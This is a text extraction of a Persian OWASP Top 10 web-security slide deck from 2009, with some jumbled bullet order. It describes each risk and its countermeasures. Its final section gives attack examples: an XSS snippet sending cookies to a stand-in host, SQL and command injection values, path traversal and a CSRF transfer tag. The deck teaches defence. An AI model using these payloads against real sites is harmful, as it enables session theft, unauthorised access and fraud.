Transcript Slide 1
امنیت نرمافزارهای وب OWASP 10/1/2009 ۱۳۸۸/۷/9 عباس نادری Abbas Naderi (aka AbiusX) اعتباران انفورماتیک [email protected] [email protected] [email protected] Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. )عصر (عج تقديم به پيشگاه مقدس امام The OWASP Foundation http://www.owasp.org امنیت دنیای وب سهل انگاری در اوج اهمیت OWASP TOP 10 خطر اصلی۱۰ Cross Site Scripting (XSS) Injection Flaws Insecure Remote File Include Insecure Direct Object Reference Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communications Failure to Restrict URL Access )1.Cross Site Scripting (XSS اسکریپت نویس ی مابین سایتی • بیش از ۲۰٪سایتها آسیب پذیرند • مقابله با آن به غایت مشکل است • هرروزه روشهای جدید فراوانی کشف می شوند • جایگزینهای معمو ل برای کاربران سختیهایی دارند منتشر شوند • میتوانند به صورت کرم )1. Cross Site Scripting (XSS روشهای مقابله: • کتابخانههای بسیار پیچیده ،سنگین و کند • کتابخانهها نیز ۱۰۰٪مصون نیستند • تحریم امکان استفاده از قالببندی • استفاده از سیستمهای جایگزین)(BBCode • همگامی با دنیای امنیت اطالعات •2. Injection Flaws تزریقات • حدود ۱۵٪سایتها آسیبپذیر بسیار محلک و اعمال آن ساده است • آسیبپذیری در د و دسته آگاهانه و کور انجام میگیرد • • معمولترین دلیل هک شدن و رسوخ به سایتها • عالرقم معروفی بسیار ،توسعهدهندگان بیخبرند • مقابله با آن معمو ل ناقص انجام میگیرد بسیار آسان است در صورت شناخت کافی ،مقابله • 2. Injection Flaws روشهای مقابله: • استفاده از واسطهای امن برای دستورات پویا • استفاده از PreparedStatementsبرایSQL • عدم استفاده از Escapingبه عنوان تنها راه • بررس ی ورودی • بررس ی لیست سفیدی ورودیها 3. Insecure Remote File Include تزریق کد مخرب • احتیاج به آگاهی از روش کار • معمو ل توسط توسعهدهندگان رعایت نمیشود • توسط تنظیمات بستری قابل رفع در صورت وجود و کشف بسیار مخرب و خطرناک بسیار • • امکان انجام انواع حمالت بدون متوجه شدن سیستم 3. Insecure Remote File Include روشهای مقابله: • عدم استفاده از کدفایل متغیر • بررس ی کامل و بسیار دقیق متغیر در آدرس کد • تبیین دقیق قوانین استفاده • تنظیمات سکوی اجرا 4. Insecure Direct Object Reference ارائه اطالعات ناخواسته •عدم آگاهی توسعهدهندگان ی • پیچیدگی یافت و جلوگیر در سیستمهای پیچیده • پیشآمدن قطعی دشوار جهت کشف برای نفوذگران مانگیر و بسیار ز • 4. Insecure Direct Object Reference روشهای مقابله: • تعیین دقیق معماری سیستم و پیروی از آن • مشخص کردن لیه تعیین دسترس ی به همه چیز ی • پیادهسازی صحیح روشها و پیروی از معمار )5.Cross Site Request Forgery (CSRF جعل درخواست بین سایتی • عدم علم توسعهدهندگان • عدم درک صحیح توسعهدهندگان بسیار ساده و قابل انجام • • میتواند به غایت حساس و خطرناک باشد یا نه • کاربری معمول به سادگی برطرف میشود • موارد پیچیده احتیاج به پردازش خروجی دارند )5.Cross Site Request Forgery (CSRF روشهای مقابله: • عدم استفاده از GETبرای فرآیندها • جفتگیری تصادفی در کالینت و سرور نااتوماتیک • فرم ورود به سیستم مجدد در فرآیند حساس • جلوگیری ازXSS 6. Information Leakage and Improper Error Handling نشت اطالعات و نقص مدیریت خطا • قدم اول انواع نفوذ • تقریبا تمام سیستمها آسیب پذیرند نظر گرفته نمیشود • اهمیت آن معمو ل در • آگاهی نسبتا کامل از سیستم با Stack TraceیاSQL • روشهای مقابله اتوماتیک ناکارآمد بسیار کند و هزینهبر • روشهای مقابله دستی 6. Information Leakage and Improper Error Handling روشهای مقابله: • عدم ارائه خطا و ارور در سیستم عملیاتی • تهیه گزارش کامل از همه عملکردهای سیستم • تماس با مدیر و امنیت از طریق ایمیل یاSMS • بررس ی دقیق و تست کامل محصول قبلاز ارائه • استفاده از سیستمهای اتوماتیک و تنظیم سکو 7. Broken Authentication and Session Management احراز هویت و مدیریت نشست ناکارا بسیار بد و آسیب زننده • ی دائم و فراوان • احتیاج به بازنگر در روشهای احر از هویت غیراستاندارد • نقص ی در سیستمهای بزرگ دشوار و حساس • پیادهساز 7. Broken Authentication and Session Management روشهای مقابله: • استفاده از یک محور احرازهویت • ایجاد نشستهای مستقل پساز احراز هویت • خروج از سیستم کارا و تخلیه اطالعات • عدم ارائه اطالعات نشستی و حساس • استفاده از سیستمهای بالغ • تست و بررس ی کد به صورت کامل 8. Insecure Cryptographic Storage استفاده نادرست از رمزنگاری بسیار معمول و خطرناک • ی ندارند اکثر توسعهدهندگان و تیم آنها دانش رمزنگار • • تکیه کامل بر رمزنگاری ناصحیح ی کافی دارند • نفوذگران معدودی دانش رمزنگار • 8. Insecure Cryptographic Storage روشهای مقابله: • بررس ی کد (تست پاسخگو نیست( • عدم استفاده از الگوریتمهای دستی • آموزش استفاده صحیح از الگوریتمهای قدرتمند • عدم استفاده از الگوریتمهای منسوخ (مانند) MD5 • عدم استفاده ازHard Coding 9. Insecure Communications ارتباطات ناامن اعتبار جهت کسب اعتبار بر و احتیاج به صرف • هزینه بیشتر بر روی سرورها و کالینتها (نامطلوب) بار • • عدم درک صحیح از عمق مسئله ی دشوار بر سرور • راهانداز در کالینت دشوار • آموزش 9. Insecure Communications روشهای مقابله: • استفاده از SSLدر تمام ارتباطات هویتدار • استفاده از SSLدر تمام فرآیندهای حساس • استفاده از گواهینامه معتبرSSL • استفاده از نسخه معتبر ،SSLنسخه ۳یا TLS • منطق عدم ارائه اطالعات حساس در ارتباط ناامن توسط برنامه کنترل شود 10. Failure to Restrict URL Access ناتوانی در محدود کردن دسترس ی • متدولوژی غلطSecurity by Obscurity • عدم استفاده از کنتر ل دسترس ی محوری • کنترل دسترس ی ناصحیح (مث ال بر روی کالینت) ی و استفاده از روشهای استاندارد ی پیادهساز • دشوار 10. Failure to Restrict URL Access روشهای مقابله: • استفاده از روشهای استاندارد و کارا)(RBAC • اعمال اتوماتیک مکانیزم کنترل دسترس ی • بررس ی کد کامل و معماری کارآمد • عدم استفاده از آدرسهای مخفی چند راهبرد عملی پیادهروی در اعماق باتالق! Cross Site Scripting (XSS) echo $_REQUEST['userinput']; Reflected, Stored and DOM types docoment.write('<form name='f1' action=''hacked.com''> <input name=''sessionID'' value='' '+document.cookie+' '' /></form>'); document.forms.f1.submit(); SQL Injection $sql = "SELECT * FROM table WHERE id = ' " . $_GET['id'] . " ' "; Text fields, Number Fields!!! Server Code: $R=mysql_query(''SELECT * FROM users WHERE Username='{$Username}' AND Password='{$Pass}' ''); if ($R) echo '' You logged in successfully! ''; Attack: username: foo password: 1' or '1'='1 Manipulated SQL: SELECT * FROM users WHERE Username='1' AND Password='1' or '1'='1' Command Injection Server Code: Exec (''mail ''.$UserData); UserData: '' hi; cat passwd; '' . به نفوذگر ایمیل می شوند،لیست کلمات عبور به همراه متن نامه Malicious File Execute ;Include direname(__FILE__).''/request_handlers/''.$R به صورت پویا درخواست کاربر را پاسخ میگوییم... User Request: ../../passwd باعث میشود فایل رمزهای عبور به جای فایل کد نمایش داده شود. Insecure Direct Object Reference <select name="language"><option value="ir">Farsi</option></select> ... Include ($_GET['language']."lang.php"); ... <select name="language"><option value="29871268398721">Farsi</option></select> Use Salts to prevent Brute-Force! Cross Site Request Forgery (CSRF) <img src="http://www.example.com/transfer.do?frmAcct=docume nt.form.frmAcct &toAcct=4345754&toSWIFTid=434343&amt=3434.43"> Insecure Cryptographic Storage $pass=md5($_GET['pass']); // unsafe! www.passcracking.com )۲( ) از الگوریتمهای صحیح۱(استفاده صحیح $pass=hash( ''sha-512'' ,$_GET['pass'].strtolower($_GET['user'])); سواالت ،پیشنهادات؟ منابع www.owasp.org :